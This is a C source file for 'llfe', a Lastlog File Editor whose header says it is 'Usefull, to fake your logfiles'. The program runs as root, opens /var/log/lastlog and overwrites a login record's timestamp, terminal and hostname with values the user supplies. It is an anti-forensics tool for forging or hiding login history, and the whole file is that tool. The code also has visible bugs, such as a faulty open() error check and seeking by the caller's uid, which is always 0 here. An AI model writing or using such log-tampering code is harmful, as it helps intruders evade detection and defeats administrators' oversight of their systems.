/*
 *   ___ ___ ___ _/ _/__ ___ __/ / /_
 *  (_-</ -_) _ `/ _/ _ `/ // / / __/
 * /___/\__/\_, /_/ \_,_/\_,_/_/\__/.ch
 *         /___/ 
 *
 * llfe.c !@# simon@segfault.ch
 *
 * Lastlog File Editor v.1.0
 * Usefull, to fake your logfiles
 * 
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <lastlog.h>
#include <fcntl.h>
#include <memory.h>

static char *s_hname = NULL; /* hostname */
static char *s_tdate = NULL; /* time & date */
static char *s_term = NULL; /* s_terminal/port */

static void usage(char *argv)
{
/* print usage for LastLog editor */
printf("LastLog Editor)\nUsage: %s [options]", argv);
printf(" [-h hostname]");
printf(" -d date");
printf(" -t s_terminal\n");
exit(-1);
}

static void free_memory_and_exit(char *msg)
{
if (msg)
fprintf(stderr, "Error: %s\n", msg);

if (s_hname)
{
free(s_hname);
s_hname = NULL;
}
if (s_tdate)
{
free(s_tdate);
s_tdate = NULL;
}
if (s_term)
{
free(s_term);
s_term = NULL;
}

exit(-1);
}

int main(int argc, char **argv)
{
struct lastlog sll;
int c, file_hd = -1, sz_ll; 

if (getuid() > 0)
{
free_memory_and_exit("only root can run me!!");
}


if (argc != 7 && argc != 5) 
usage(argv[0]);

while ((c = getopt(argc, argv, "h:d:t:")) != -1)
{
if (optarg == NULL)
free_memory_and_exit("command line parsing failed");

switch(c)
{
case 'h':
if (strlen(optarg) > UT_HOSTSIZE -1)
free_memory_and_exit("hostname too long");

s_hname = (char *)malloc(strlen(optarg)+1);
if (s_hname == NULL)
free_memory_and_exit("malloc() failed");
strcpy(s_hname,optarg);
break;
case 'd':
s_tdate = (char *)malloc(strlen(optarg)+1);
if (s_tdate == NULL)
{
free_memory_and_exit("malloc() failed");
}
strcpy(s_tdate,optarg);
break;
case 't':
s_term = (char *)malloc(strlen(optarg)+1);
if (s_term == NULL)
{
free_memory_and_exit("malloc() failed");
}
strcpy(s_term,optarg);
break;
default:
free_memory_and_exit("command line parsing failed");
break;
}
}

file_hd = open ("/var/log/lastlog", O_RDWR);
if (file_hd < -1)
free_memory_and_exit("open() /var/log/lastlog failed");

 
sz_ll = sizeof (struct lastlog);

if ((lseek(file_hd, sz_ll * getuid(), SEEK_SET)) < 0)
free_memory_and_exit("lseek() failed");

if ((read(file_hd, &sll, sz_ll)) < 0)
free_memory_and_exit("read() failed");

sll.ll_time = atoi(s_tdate);
strncpy(sll.ll_line, s_term, sizeof(sll.ll_line));

if (s_hname == NULL)
sll.ll_host[0] = '\0';
else
strcpy(sll.ll_host, s_hname);

if ((lseek(file_hd, sz_ll * getuid(), SEEK_SET)) < 0)
free_memory_and_exit("lseek() failed");

if ((write(file_hd, &sll, sz_ll)) < 0)
free_memory_and_exit("write() failed");

close(file_hd);
fprintf(stdout, "successfully updated information\n");
}